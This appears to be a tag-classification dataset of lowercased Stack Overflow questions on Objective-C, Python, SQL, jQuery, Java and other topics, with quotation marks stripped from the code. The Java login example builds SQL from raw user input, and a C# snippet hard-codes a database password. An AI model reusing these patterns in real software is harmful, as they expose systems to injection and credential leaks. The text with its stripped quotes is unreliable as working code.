object only initialisable through factory method (objective-c)  i am trying to create an object only instantiatable through a factory method. i prevented <code>init</code> being used by throwing an exception (see <a href= https://stackoverflow.com/questions/2188488/creating-a-class-with-no-init-method-objective-c >creating a class with no init method</a>). however this meant that i had to create a new method secretinit to use in the factory method.   <pre><code>//factory method - (urlreqs *)buildurlreq:(nsstring *)location {     urlreqs *tmp=[[urlreqs alloc] secretinit];     tmp.str=location     return tmp; }  - (id) secretinit{     return [super init]; } </code></pre>   this method is messy and while we can avoid declaring secretinit in the header file  someone could still access it. is there a nicer solution      one idea is to try calling init on the super object of urlreqs directly rather than creating a function to do it.,objective-c
static dataset in asp.net  will declaring a dataset as static in asp.net website help in persisting data across post backs     i was looking at an application and somehow a static dataset was able to persist the data even if we closed the application and opened it again.,asp.net
changing api 23 to api 21  i am developing app in api level 23 (marshmallow) but some methods and libraries are deprecated in api 23 i need to downgrade project to api 21 or api 22. but when i change my api level and build my project it gives error     <a href= https://i.stack.imgur.com/s3vkx.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/s3vkx.png  alt= enter image description here ></a>    i have tried all methods all things that are mentioned on this forum but none could helped me..  is give error for some value-23.xml file.. i have changed the name of that file from value-23.xml to value-22.xml but android studio said  file usder the build folder are generated and should not be edited,android
how to remove elements in a list based on another list in python  without loops   i have two lists of equal length:   <pre><code>list_a = [ a   b   c   d ] list_b = [-6.3  3.1  0.5  4.1] </code></pre>   i want to remove the elements &lt; 0.7 in list_b  and simultaneously remove the corresponding elements from list_a  i.e.   <pre><code>list_a_2 = [ b   d ] list_b_2 = [3.1  4.1] </code></pre>   i know the second list     <pre><code>list_b_2 = [item for item in hem if item &gt; 0.7].  </code></pre>   but is there a list-thinking way to get list_a_2  without using loops,python
how to check nsdata is string or image  how to check nsdata is string or image data   i have receive server can get 2 type of data is string and uiimage data. how to check data is string or image data. thank in advanced.   <pre><code>- (void)stream:(nsstream *)astream handleevent:(nsstreamevent)eventcode {     switch (eventcode) {         case nsstreameventopencompleted: {              nslog(@ nsstreameventopencompleted );         } break;         case nsstreameventhasbytesavailable: {             if(!self.data) {                 self.data = [[nsmutabledata alloc] init];             }             while (self.networkstream.hasbytesavailable) {                 uint8_t buf[1024];                  nsinteger len = 0;                 len = [self.networkstream read:buf maxlength:1024];                 if(len&gt;0) {                     [self.data appendbytes:(const void *)buf length:len];                     // bytesread is an instance variable of type nsnumber.                     self.bytesread  +=  len;                  }else{                     }             }              // event when read input stream done             if (!self.networkstream.hasbytesavailable) {                      [self _didreceivedatastring:self.data];                       }         }        } </code></pre>,ios
open app through notification banner when app is not running state ios  i have tabbar controller having three tab  attached three navigation controller i want to go to second controller of navigation controller just like whatsapp. i handled successfully for background state  but for not running state. below is my code in didfinishlaunch delegate method of uiapplication.   <pre><code>if (launchoptions != nil) {         // launched from push notification          nsdictionary *notification = [launchoptions objectforkey:uiapplicationlaunchoptionsremotenotificationkey];           [self performselector:@selector(notificationobserverafterdelay:) withobject:notification afterdelay:2.0];      }  -(void)notificationobserverafterdelay:(nsdictionary *)userinfo {   [[nsnotificationcenter defaultcenter] postnotificationname:@ refreshuichatnotrunningstate  object:self userinfo:userinfo]; } </code></pre>,ios
how to change what a div output with jquery  i am pulling data from a api    <pre><code>dopull( pointone    mode ); </code></pre>   when i have the the pulled data display i am getting the a numeric value   <pre><code>&lt;div class= container &gt;     &lt;p&gt;mode:&lt;/p&gt;     &lt;div id= mode  class= mode &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   results in numeric values 1-3 depending on pointone value.    how do i get this to return a different value.    example: i would like to return  working  if pointones value is 1.,jquery
what will be the setup process for website development   i want to create a simple site for my personal usage. and this only in python based technologies. so i want to get a expert oponian on this topic.   <ol> <li>what should i used as platform  i did a search for available options and found <code>django</code>  <code>grok</code>  <code>web2py</code> and many more of these. which one a novice use should use  if i choose to use only the basic python scripts then what option i have to work on </li> <li><a href= http://wiki.python.org/moin/webbrowserprogramming  rel= nofollow noreferrer >http://wiki.python.org/moin/webbrowserprogramming</a>. this link on python site confused me more  instead of solving my curiosity about the topic. please give some pointer to accurate and easy to understand reading materials.</li> </ol>   i have got a idea of developing <code>java</code> based web applications using either <code>spring-webmvc</code> and <code>struts</code>. can i relate java process to python process for web development,python
retrieving a specific data  i am new to xcode.. and i would love to learn about retrieving data from xml.. this is a draft code that i have been stucked with for days.. i manage to display a list of xml codes      xml code:   <pre><code>&lt;find&gt; &lt;set_number&gt;038881&lt;/set_number&gt; &lt;no_records&gt;000138874&lt;/no_records&gt; &lt;no_entries&gt;000007000&lt;/no_entries&gt; &lt;/find&gt; </code></pre>   however  now i have some difficulties in retrieving only the set_number from this xml... the url i have left it blank due to confidential purposes.. so dont mind about it.. the last two codes has resulted my app to force close.. help!!     <pre><code> nsstring *url = [nsstring stringwithformat:@  ];   nsmutabledata *receiveddata = [[[nsmutabledata alloc] initwithcontentsofurl:[nsurl urlwithstring:url] ]autorelease];              nsstring *therecord = [[[nsstring alloc] initwithdata:receiveddata encoding:nsutf8stringencoding] autorelease];    nsstring *path = [therecord valueforkey: @ set_number ];      nslog(@ file data: %@   path);     </code></pre>   i tried to add in this code at the bottom instead..    <pre><code>   if ([therecord isequaltostring:@ no_records ]){           nslog(@ contents of url: %@   therecord);  } </code></pre>   then i also trying to debug my codes.. no error shown.. instead they display 0 for the output.. and i am wondering is it because my no_records is an integer   but i have assign the record as a string.. is that why they couldnt display    <hr>   i tried to add in this code at the bottom instead..    <pre><code>   `if ([therecord isequaltostring:@ no_records ]){           nslog(@ contents of url: %@   therecord);  }`  </code></pre>   then i also trying to debug my codes.. no error shown.. instead they display 0 for the output.. and i am wondering is it because my no_records is an integer   but i have assign the record as a string.. is that why they couldnt display   please help!!,objective-c
conversion to doublevalue doesn t work .. but to integervalue does  hello all i m trying to convert a string to a double and it doesn t work. however if i convert it to an integer it does work     this is my code snippet   <pre><code>int myduration = [mydurationstring integervalue]; int conversionminute = myduration / 60;              if( myduration &lt; 60 )             {                 [appdelegate.rep1 addobject:[nsstring stringwithformat:@ %d  myduration]];                 nslog(@ show numbers %d   myduration);             }             else             {                 [appdelegate.rep1 addobject:[nsstring stringwithformat:@ %d  conversionminute]];                 nslog(@ show numbers %d   conversionminute);             } </code></pre>   now if i try to do    <pre><code>double myduration = [mydurationstring doublevalue]; double conversionminute = myduration / 60; </code></pre>   then it doesn t work. it gives me an output of 0.     so the integerconversion works but somehow the double doesn t does anybody have an idea why,objective-c
sql command - update with inner join  i have tree tables:    table a: id(pk)  x  y       table b: id(not pk)  cid    table c: id(pk)  x  y    and   (b.id = c.id) and ---condition---> <code>a.x = c.x and a.y = c.y</code>    how can i set b.cid = c.id,sql
how to handle mass assignment in this case  i have a user registration where a user sets his username  first_class and some other attribs. now  there are also some other attributes that i have to set  like :str or :acc.     these attributes would probably be set in a mass assignment command like create. i would not want to do something like update_attribute on each one separately of course. therefore  i have to make them attr_accessible.    however  i don t want the user to set them. for instance  if the user decides to have a first_class =  ranger   i would set his :str and and not him.    my idea is that i would just save params[:first_class] or params[:username] and just explicitly set everything else in my create method for the user. is that how you would do it,ruby-on-rails
ng-if not working in partial view - angular  there is header controller and partial view in my page   like :     <pre><code>&lt;html ng-app= myapp  ng-controller= headerctrl &gt; &lt;head&gt;     &lt;link rel= stylesheet  href= ~/app/common/style/common/common.css  data-ng-if= !isrtl &gt;     &lt;link rel= stylesheet  href= ~/app/common/style/common/common-ltr.css  data-ng-if= isrtl &gt;  &lt;/head&gt; &lt;body&gt; ... &lt;/body&gt;   </code></pre>   <strong>partial view</strong>     <pre><code>&lt;div class= clearfix &gt;     &lt;div class= directionsetting &gt;         &lt;p class= pull-left &gt;rtl&lt;/p&gt;         &lt;div class= pull-right &gt;             &lt;label class= switch &gt;                 &lt;input type= checkbox  ng-model= isrtl  /&gt;                 &lt;span&gt;&lt;/span&gt;             &lt;/label&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt;    </code></pre>   i want to change direction after click on checkbox  but it s not working !<br> but if i add this in body  it s working. how can i achieve this,angularjs
is it a bad practice to use $filter inside a custom filter   i have a custom filter that shows the name of the month given the month number   <pre><code>angular.module( porteapp )   .filter( monthname   function($filter) {     return function (number) {       return $filter( date )(new date(2015  number)   mmmm );     }   }); </code></pre>   it works but feels wrong somehow  is it a bad practice    <pre><code>{{0 | monthname}} &gt; january </code></pre>,angularjs
perform operation on all objects of object s properties  is it possible to express something like this in c#:   <pre><code>list&lt;object&gt; l = null; foreach (var property in this)            // current object {     l = property as list&lt;object&gt;;      if(null != l) l.clear(); } </code></pre>   meaning to enumerate all properties and in case the property points to an object of type <code>t</code>  then perform operation <code>foo()</code> on the object it refers to,c#
should i explicitly trunc   given this starting point:   <pre><code>double y = readdoublevalue(); </code></pre>   is there any significant difference in c++ between:   <pre><code>int x = y; </code></pre>   and   <pre><code>int x = trunc(y); </code></pre>   which one should i prefer  if somebody else (including my future self :) ) reads my code  it looks to me that with the second it s more explicit the fact that i know exactly what i am doing  however it requires a library inclusion.    reference: <a href= https://stackoverflow.com/questions/6709405/is-there-a-trunc-function-in-c >is there a trunc function in c++ </a>,c++
paginate_all_by_something not workingi in rails 3  i m upgrading my project to rails 3.0.1    i have used paginate_all_by_something in the controller in rails 2.1.1 and rails 2.3.8 working fine but in rails 3.0.1 it displaying the undefined method `paginate_all_by_receiver_deleted  for #       error like this    if anybody faced like this problem kindly help me.,ruby-on-rails
type no return  in function returning non-void  my c++ code looks like this:   <pre><code>int f(int i){     if (i &gt; 0) return 1;     if (i == 0) return 0;     if (i &lt; 0) return -1; } </code></pre>   it s working but i still get:   <blockquote>    warning: no return  in function returning non-void  </blockquote>   even though it is obvious that all cases are covered. is there any way to handle this in  proper  way,c++
how to run command sqlloader oracle in c#  how to run command sqlloader oracle in c#. i try my sourcode for run this sqlloader  but nothing happen and error  no process is associated with this object. . please tell me how i fix it. thanks. this is my code:   <pre><code>        system.diagnostics.process process1;         process1 = new system.diagnostics.process();         process1.enableraisingevents = false;          string strcmdline;         strcmdline = @ /c sqlldr xl/secreat@o11g control=e:\apt\loadxl.ctl ;         system.diagnostics.process.start( cmd.exe   strcmdline);         process1.waitforexit();         process1.close(); </code></pre>,c#
intercepting call in android  i want to intercept incoming call in android. one way is to extend  broadcastreceiver . is there any other way     also  does  broadcastreceiver  works on all andorid versions  see this link - <a href= https://stackoverflow.com/questions/11180727/how-to-intercept-incoming-calls-android-2-3-x >how to intercept incoming calls android 2.3.x</a>,android
within a loop only one element is being appended to the div  i am new to javascript and jquery   strugling to satisfy the screen requirements   so please excuse if the questions are dumb     previusly i was working with static code (taht is text1 and text2 are static)    so i was apending data this way and its working fine .   <pre><code>var text1 =  honey with chocolate sauce  10 ml ; var text2 =  honey with carmel  10 ml ;   $( #topping_tsection_ +id_attr_val).append( &lt;aside&gt;&lt;h6 class= tdheading &gt; +name+ n+ &lt;/h6&gt; \     &lt;section class= secclass &gt; \     &lt;a href= # &gt; +text1+ &lt;/a&gt; \     &lt;/section&gt;  \     &lt;section class= secclass &gt; \     &lt;a href= # &gt; +text2+ &lt;/a&gt; \     &lt;/section&gt; \     &lt;/aside&gt; ); </code></pre>   all the above is working fine     but at present i am fetching text1 and text2 dynamically this way    <pre><code>$(document).on( click    .plus   function() {      var str =   ;     $( #topping_tsection_  + id_attr_val +   aside:first a ).each(function() {         var category = $(this).text();         str +=  &lt;aside&gt;&lt;h6 class= tdheading &gt;  + name + n +  &lt;/h6&gt;&lt;section class= secclass &gt;&lt;a href= # &gt;  + category +  &lt;/a&gt;&lt;/section&gt; $( #topping_tsection_  + id_attr_val).append(str);     });  }); </code></pre>   but with this i see that only one text (honey with chocolate sauce  10 ml)is being added to the div     this is the section response    <pre><code>&lt;section id= topping_tsection_59 &gt;    &lt;i id= topping-close &gt;&lt;/i&gt;    &lt;aside&gt;       &lt;h6 class= tdheading &gt;regular  50 ml0&lt;/h6&gt;       &lt;img src= images/arrow-topping.png &gt;       &lt;section class= secclass &gt;&lt;a href= # &gt;honey with chocolate sauce  10 ml&lt;/a&gt;&lt;/section&gt;       &lt;section class= secclass &gt;&lt;a href= # &gt;honey with carmel  10 ml&lt;/a&gt;&lt;/section&gt;    &lt;/aside&gt;    &lt;aside&gt;       &lt;h6 class= tdheading &gt;regular  50 ml1&lt;/h6&gt;       &lt;img src= images/arrow-topping.png &gt;       &lt;section class= secclass &gt;&lt;a href= # &gt;honey with chocolate sauce  10 ml&lt;/a&gt;&lt;/section&gt;       &lt;section class= secclass &gt;&lt;a href= # &gt;honey with carmel  10 ml&lt;/a&gt;&lt;/section&gt;    &lt;/aside&gt; &lt;/section&gt; </code></pre>   could anybody please let me know .,jquery
how to copy a system.drawing.graphics over another graphics   we got some code that implement printing using <code>printdocument</code> and it does all the drawing directly on the <code>graphics</code> object received in the <code>printeventargs</code>. it would be more convenient if the code doing the drawing used another canvas and we would add this canvas to the <code>printeventargs</code> <code>graphics</code> after. since the code already depends on the <code>graphics</code> object i need a canvas with this object. i also need a way to copy the canvas onto the <code>printeventargs</code> <code>graphics</code>. i can create a <code>graphics</code>from an <code>image</code> but as far as i know it needs to be stored on the disk. any suggestions,.net
is using  any  here necessary (sql)  hey i m new to the sql language  i have a relation <code>movie(title  year  length  incolor  studioname  producerc#)</code>    the question is (which movies are longer than gone with the wind )    i want to know if there a difference between these two answers and which one is correct and why   <pre><code>select title  from movie  where length&gt;any(select length from movie where title = gone with the wind )  select title  from movie  where length&gt;(select length from movie where title = gone with the wind ) </code></pre>   thanks in advance,sql
when to release nsurlconnection object  what is the correct point at which to release a nsurlconnection object     in my program  i alloc a nsurlconnection  and then initwithrequest to kick off asynchronously.     i am now responsible for releasing the object - when do i/can i release  immediately if i m not using it again,iphone
repl.it javascript classroom - infinite loop  apologies (&amp; thanks) in advance for this - im sure its me  but would really appreciate some other viewpoints if poss.    repl.it has a number of js classroom tests - after 2 weeks of learning by doing with js thought i d start right at the beginning for the sake of it...anyhow when i run my  answer  code against their built in tests it fails them all... despite appearing to satisfy the tests.  this is my code   <pre><code>function doyouplaythetheremin(name){   var str = name;     if (str.charat(0) ===  s  || str.charat(0) ===  s ) {     return (str +   plays the theremin! );   }   else {     return (str +   does not play the theremin! );   } } </code></pre>   the repl.it fails it as follows:    failed these tests: returns_a_string_value returns_proper_string_if_1st_char_is_an_s returns_proper_string_if_1st_char_is_an_s returns_proper_string_when_1st_char_is_not_an_s    when i check the details tab it says: failed tests your program took too long to execute. make sure that it isn t waiting for input and that there is no infinite loop.    can somebody tell me where im going wrong here    thanks in advance!! mat,javascript
to see more than pointers in an array (objective c)  if i enumerate an array i get   <pre><code>&lt;myarray: 0x71b26b0&gt;  &lt;myarray: 0x71b2830&gt;  &lt;myarray: 0x71b2900&gt; </code></pre>   i could take it that mydata is behind the pointers listed  but if i wanted to explicitly see (log) the contents at each address  how to do that     i have tried the &amp;mydata to no avail    --    for the benefit of uchuugaka:   <pre><code>-(void)loadobserveditems{     nsstring *path = [self observationfilepath]; if ([[nsfilemanager defaultmanager] fileexistsatpath:path]) {         nsdata *data = [[nsdata alloc] initwithcontentsoffile:path];         nskeyedunarchiver *unarchiver = [[nskeyedunarchiver alloc] initforreadingwithdata:data];         myarray = [unarchiver decodeobjectforkey:@ observekey ];         [unarchiver finishdecoding];     } else {         myarray = [[nsmutablearray alloc] initwithcapacity:10];     } nslog(@  %@  myarray); } </code></pre>,objective-c
arc border in css  i am trying to make an arc in the right border of a div/panel   please let me know if there are any ways to do it. attached is the snapshot of mockup.<a href= https://i.stack.imgur.com/ezqy9.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ezqy9.png  alt= enter image description here ></a>,css
replace keywords with new link in html  i want to replace all keywords with new link. <code>$keyword</code> is an array of keyword. <code>$html</code> is webpage. if any keyword is found and it is not inside of <code>title</code>  <code>meta</code> and other rich html tags such as <code>strong</code>  <code>b</code>  <code>h1</code> etc... then it should be replaced with <code>$replace</code>.   <pre><code> foreach($keywords as $key2 =&gt; $keyword)  {   $keyword = trim($keyword);    $replace =  &lt;a href=  .$row[ url ].   title=  .$row[ alt ].   class= linking  .$nofollow. &gt; .$keyword. &lt;/a&gt; ;   $html = preg_replace( / .$keyword. ( !([^&lt;]+) &gt;)/ .$case_insensitive  $replace  $html  $times);  } </code></pre>   this code applying link. but not checking tags correctly.,php
linearlayout height in android  in one linearlayout there are many linearlayouts nested and i want every one of them to share the screen space equally so the whole screen is filled and there is no free space on the screen vertically. any ides on how to do this.    thanks in advance,android
why would i be getting an illegal token   the following is giving me an illegal token error message:   <pre><code>$( .navigation3 ).click(function(event) {     var $nav3 = $(this)          $dd = $nav3.next( .dropdown );      $nav3.toggleclass( active );      var leftoffset = $dd.width() - $nav3.width();      var offset = 20          offsettop = $nav3.offset().top + $nav3.height() + offset          offsetleft = $nav3.offset().left-leftoffset ;       $dd.css({         top: offsettop          left: offsetleft     });      $nav3.hasclass( active )   $dd.show() : $dd.hide(); });​ </code></pre>   it s happening on the last <code>});</code>.  any idea why,jquery
how to create new instance of parent class in javascript  i have a class that inherits from another. within the base class  i m wondering if it is possible to create and return a new instance of the calling parent class.     here s an example:    <strong>base:</strong>   <pre><code>var util = require( util );  var thingbase = function(options) { }  thingbase.prototype.mapper = function(data) {   // do a bunch of stuff with data and then   // return new instance of parent class }; </code></pre>   <strong>parent:</strong>   <pre><code>var foothing = function(options) {   thingbase.call(this  options); };  util.inherits(foothing  thingbase);  foothing.somemethod = function() {   var data =  some data ;   var newfoothing = this.mapper(data); // should return new foothing instance }; </code></pre>   the reason why i wouldn t just create a new instance from somemethod is that i want mapper to do a bunch of stuff to the data before it returns an instance. the stuff it will need to do is the same for all classes that inherit from base. i don t want to clutter up my classes with boilerplate to create a new instance of itself.    is this possible  how might i go about achieving something like this,javascript
where can i access the bugs and freezes reports on the google android developer console   i remember seeing it once but i can t find it anymore    edit: i mean here <a href= https://play.google.com/apps/publish/  rel= nofollow >https://play.google.com/apps/publish/</a>    i remember finding a report showing the number of crashes of an app and details. but i can t find it anymore,android
.net application exits abruptly  my .net appliaction exits abruptly on certain machines ( this is a desktop application). i tried to catch the exception but the <code>catch</code> statement i put on simply can t catch the exception that was happening.     any ideas how to solve  or diagnose this problem     <strong>note: this exception only occurs at client s machine  release mode  on which we have no debugger tool to use.</strong>    <strong>note 2: the application event log does not contain any errors at all.</strong>,.net
objective c == strings and isequaltostring method not finding match  i am trying to find out if a 1 letter string appears in the first 2 letters of a different string. i have tried to compare the strings with == as well as the isequaltostring nsstring method. does anyone have any idea why my code is not able to find a match. it always just returns 0. i am wanting the methods to be returning 2 as the letter b is in the second letter location in the word (first parameter) and should match the letter (second parameter)    main method:   <pre><code>    finder *f = [[finder alloc]init];      int position = [f findletterlocation : @ abc  : @ b ];     nslog(@ using == %d   position);      int position2 = [f findletterlocation2 : @ abc  : @ b ];     nslog(@ using isequaltostring %d   position); </code></pre>   finder.m   <pre><code>-(int)findletterlocation: (nsstring*)word : (nsstring*)letter{ nsrange myonerange = {1  1}; nsrange mytworange = {2  1};  nsstring *firstcharacter = [[nsstring alloc] init]; nsstring *secondcharacter = [[nsstring alloc] init];  firstcharacter = [word substringwithrange:myonerange]; secondcharacter = [word substringwithrange:mytworange];  if(firstcharacter == letter){     return 1; } if(firstcharacter == letter){     return 2; } return 0; } </code></pre>   findletterlocation2 is exactly the same as the method above but only replaces the if statements with the ones below:   <pre><code>if([firstcharacter isequaltostring: letter]){     return 1; } if([firstcharacter isequaltostring:  letter]){     return 2; } </code></pre>   the output is   <pre><code>2012-12-29 18:14:51.253 test[83101:303] using == 0 2012-12-29 18:14:51.255 test[83101:303] using isequaltostring 0 </code></pre>   thanks!,objective-c
return  outside function error - python  in line 7  i get the error  return  outside function and i have tried indention and that s not the issue so i m not sure what is    <pre><code> import psycopg2     from flask import flask  render_template  request     app = flask(__name__)     def getconn():         connstr=( dbname= ----  user= ----  password=  ----    )     conn=psycopg2.connect(connstr)     return conn     @app.route( / )     def home():         return render_template( part3.html )     @app.route( /displaystudent   methods =[ get ])     def displaycustomer():         @app.route( /addstudent   methods =[ get    post ])         def addleadcustomer():             if __name__ ==  __main__ :                 app.run(debug = true) </code></pre>,python
"how to remove non numeric items form an array   how to remove non numeric items form an array     is there anything wrong with this answer     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function filternumbersfromarray(arr) {
   // write the code that goes here
   arr = arr.filter((item) =&gt; {
     return (typeof item ==  number )
   })
   console.log(arr);
   this.arr = arr;
 }
 
 var arr = [1   a    b   2  false  0  5];
 filternumbersfromarray(arr);
 for (var i = 0; i &lt; arr.length; i++)
   console.log(arr[i]);</code></pre>
 </div>
 </div>",javascript
name resolution (scoping) in an sql expression  i d like to know if it s possible to reference a name defined in an outer scope. although the below query works as expected  i cannot find any official documentation on how scoping works exactly.    here is a sample query:   <pre><code>select calendar.workernumber from calendar  activities where calendar.ida = activities.ida and       activities.requestedjob not in (         select jobs.job         from jobs         -- here i am referencing calendar.workernumber which is defined in the outer scope         where jobs.workernumber = calendar.workernumber       ) </code></pre>,sql
token for pushnotification ios8 vs ios7 phonegap  im using the following code lines for getting token for push notification     i added the next lines for supported in ios8  but when these lines are added the ipa works on ios8 but not on ios7 on ios7 the application is closed immediately after i open it.   <pre><code>- (bool)application:(uiapplication*)application didfinishlaunchingwithoptions:(nsdictionary*)launchoptions {  #ifdef __iphone_8_0     //right  that is the point     uiusernotificationsettings *settings = [uiusernotificationsettings settingsfortypes:(uiremotenotificationtypebadge                                                                                          |uiremotenotificationtypesound                                                                                          |uiremotenotificationtypealert) categories:nil];     [[uiapplication sharedapplication] registerusernotificationsettings:settings]; #else     //register to receive notifications     uiremotenotificationtype mytypes = uiremotenotificationtypebadge | uiremotenotificationtypealert | uiremotenotificationtypesound;     [[uiapplication sharedapplication] registerforremotenotificationtypes:mytypes]; #endif  #ifdef __iphone_8_0 - (void)application:(uiapplication *)application didregisterusernotificationsettings:(uiusernotificationsettings *)notificationsettings {     //register to receive notifications     [application registerforremotenotifications]; }  - (void)application:(uiapplication *)application handleactionwithidentifier:(nsstring *)identifier forremotenotification:(nsdictionary *)userinfo completionhandler:(void(^)())completionhandler {     //handle the actions     if ([identifier isequaltostring:@ declineaction ]){     }     else if ([identifier isequaltostring:@ answeraction ]){     } } #endif </code></pre>,objective-c
extract data from c++ string  i wanted to extract the values from the string in c++. i guess this is not the c++ way of doing this  but that one in particular doesn t work. any ideas    <pre><code>string line =  {10}{20}hello world! ; int start; int end; string text;  // what to use here  is the sscanf() a good idea  how to implement it   cout &lt;&lt; start; // 10 cout &lt;&lt; end; // 20 cout &lt;&lt; text; // hello world! </code></pre>,c++
class.forname doesn t work while trying to connect to mysql database  i have a problem using mysql. it seems that when the program runs into this part  it doesn t continue [solved]   <pre><code>        try{         //load the driver class         class.forname( com.mysql.jdbc.driver ); </code></pre>   i think there is a problem in this part of code. because i tried this  the joptionpane popped up:   <pre><code>        try{         joptionpane.showmessagedialog(null   ok! );         //load the driver class         class.forname( com.mysql.jdbc.driver ); </code></pre>   but  when i wrote the code like this  nothing happens:   <pre><code>        try{         //load the driver class         class.forname( com.mysql.jdbc.driver );         joptionpane.showmessagedialog(null   ok! ); </code></pre>   any suggestions  thanks.    btw  this is my whole program   <pre><code>private void jbutton1actionperformed(java.awt.event.actionevent evt) {                                              // todo add your handling code here:     string user = username.gettext();     final string url =  jdbc:mysql://localhost:3306/videorental ;      if(user.equals(  )){         joptionpane.showmessagedialog(null   fields should not be empty    error   joptionpane.error_message);     }     else{         try{         //load the driver class         class.forname( com.mysql.jdbc.driver );         //create the connection using the static getconnection method         joptionpane.showmessagedialog(null   connecting to database );         connection con = drivermanager.getconnection(url   root     );         //create statement to execute the sql statement         joptionpane.showmessagedialog(null   creating a statement );         statement stmt = con.createstatement();         //check the username         resultset rs = stmt.executequery( select * from  user_tbl  where user_id =   +user+    );         if(rs.next()){             string uname = rs.getstring( user_id );             if(user.equals(uname)){                 joptionpane.showmessagedialog(null   thank you! );             }             else{                 joptionpane.showmessagedialog (null   you are not registered. );             }         }         }         catch (exception e) {             e.printstacktrace();         }     }        }                                   </code></pre>   so i tried putting e.printstacktrace()  sorry i m really a newbie in using mysql. so here is the result... [solved]   <pre><code>java.lang.classnotfoundexception: com.mysql.jdbc.driver     at java.net.urlclassloader$1.run(urlclassloader.java:366)     at java.net.urlclassloader$1.run(urlclassloader.java:355)     at java.security.accesscontroller.doprivileged(native method)     at java.net.urlclassloader.findclass(urlclassloader.java:354)     at java.lang.classloader.loadclass(classloader.java:424)     at sun.misc.launcher$appclassloader.loadclass(launcher.java:308)     at java.lang.classloader.loadclass(classloader.java:357)     at java.lang.class.forname0(native method)     at java.lang.class.forname(class.java:190)     at user.loginframe.jbutton1actionperformed(loginframe.java:113)     at user.loginframe.access$000(loginframe.java:14)     at user.loginframe$1.actionperformed(loginframe.java:48)     at javax.swing.abstractbutton.fireactionperformed(abstractbutton.java:2018)     at javax.swing.abstractbutton$handler.actionperformed(abstractbutton.java:2341)     at javax.swing.defaultbuttonmodel.fireactionperformed(defaultbuttonmodel.java:402)     at javax.swing.defaultbuttonmodel.setpressed(defaultbuttonmodel.java:259)     at javax.swing.plaf.basic.basicbuttonlistener.mousereleased(basicbuttonlistener.java:252)     at java.awt.component.processmouseevent(component.java:6505)     at javax.swing.jcomponent.processmouseevent(jcomponent.java:3321)     at java.awt.component.processevent(component.java:6270)     at java.awt.container.processevent(container.java:2229)     at java.awt.component.dispatcheventimpl(component.java:4861)     at java.awt.container.dispatcheventimpl(container.java:2287)     at java.awt.component.dispatchevent(component.java:4687)     at java.awt.lightweightdispatcher.retargetmouseevent(container.java:4832)     at java.awt.lightweightdispatcher.processmouseevent(container.java:4492)     at java.awt.lightweightdispatcher.dispatchevent(container.java:4422)     at java.awt.container.dispatcheventimpl(container.java:2273)     at java.awt.window.dispatcheventimpl(window.java:2719)     at java.awt.component.dispatchevent(component.java:4687)     at java.awt.eventqueue.dispatcheventimpl(eventqueue.java:735)     at java.awt.eventqueue.access$200(eventqueue.java:103)     at java.awt.eventqueue$3.run(eventqueue.java:694)     at java.awt.eventqueue$3.run(eventqueue.java:692)     at java.security.accesscontroller.doprivileged(native method)     at java.security.protectiondomain$1.dointersectionprivilege(protectiondomain.java:76)     at java.security.protectiondomain$1.dointersectionprivilege(protectiondomain.java:87)     at java.awt.eventqueue$4.run(eventqueue.java:708)     at java.awt.eventqueue$4.run(eventqueue.java:706)     at java.security.accesscontroller.doprivileged(native method)     at java.security.protectiondomain$1.dointersectionprivilege(protectiondomain.java:76)     at java.awt.eventqueue.dispatchevent(eventqueue.java:705)     at java.awt.eventdispatchthread.pumponeeventforfilters(eventdispatchthread.java:242)     at java.awt.eventdispatchthread.pumpeventsforfilter(eventdispatchthread.java:161)     at java.awt.eventdispatchthread.pumpeventsforhierarchy(eventdispatchthread.java:150)     at java.awt.eventdispatchthread.pumpevents(eventdispatchthread.java:146)     at java.awt.eventdispatchthread.pumpevents(eventdispatchthread.java:138)     at java.awt.eventdispatchthread.run(eventdispatchthread.java:91)     </code></pre>   and i don t have any idea what these errors are. can anyone help me  thanks.    btw  i m using netbeans as an ide.    thanks guys for the help but a new problem arises  it says that i have mysqlsyntaxerror    <pre><code>com.mysql.jdbc.exceptions.jdbc4.mysqlsyntaxerrorexception: you have an error in your   sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near   user_tbl  where user_id =  12345678   at line 1 </code></pre>,java
jquery tabbed area  i have this code for a tabbed area  but when a user clicks a tab the content snaps out and the new content fades in. i want to be able to have the content fade out and in. also the tabs themselves fade between the active and inactive state but i don t have any code for it is this default behaviour kicking in    <pre><code>$(function () {     var tabcontainers = $( div.tabs &gt; div );     tabcontainers.hide().filter( :first ).show();      $( div.tabs ul.tabnavigation a ).click(function () {      tabcontainers.hide();      tabcontainers.filter(this.hash).fadein(2000);      $( div.tabs ul.tabnavigation a ).removeclass( selected );      $(this).addclass( selected );      return false;     }).filter( :first ).click();    });   &lt;div class= tabs &gt;  &lt;ul class= tabnavigation &gt; &lt;li&gt;&lt;a href= #a &gt;a&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= #b &gt;b&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= #c &gt;c&lt;/a&gt;&lt;/li&gt; &lt;li id= more &gt;&lt;a href= http://www.google.com/ &gt;link&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;div id= a &gt;&lt;/div&gt; &lt;div id= b &gt;&lt;/div&gt; &lt;div id= c &gt;&lt;/div&gt;  &lt;/div&gt; </code></pre>   also    i have tab that i would like to not tab the boxes but work as normal link  i tried adding an id and then saying return true  but that didn t work  how can i do this  thanks    edit    would it also be possible to show the relevant content based on the hash if someone comes from an external page with the url like domain.com/#b and show the div with the id of b,jquery
change auto_increment value  i m using <em>mysql 5.6.12</em>. i tried this command  but didn t work.     <pre><code>alter table food auto_increment = 1;   alter table food auto_increment=1; </code></pre>   i tried with my winform application and by <em>ems mysql manager</em>  neither worked.<br> i already tried some of the answers i found here  but nothing yet...      no errors at all. the query executes perfect  it just does not change the auto_increment value.,mysql
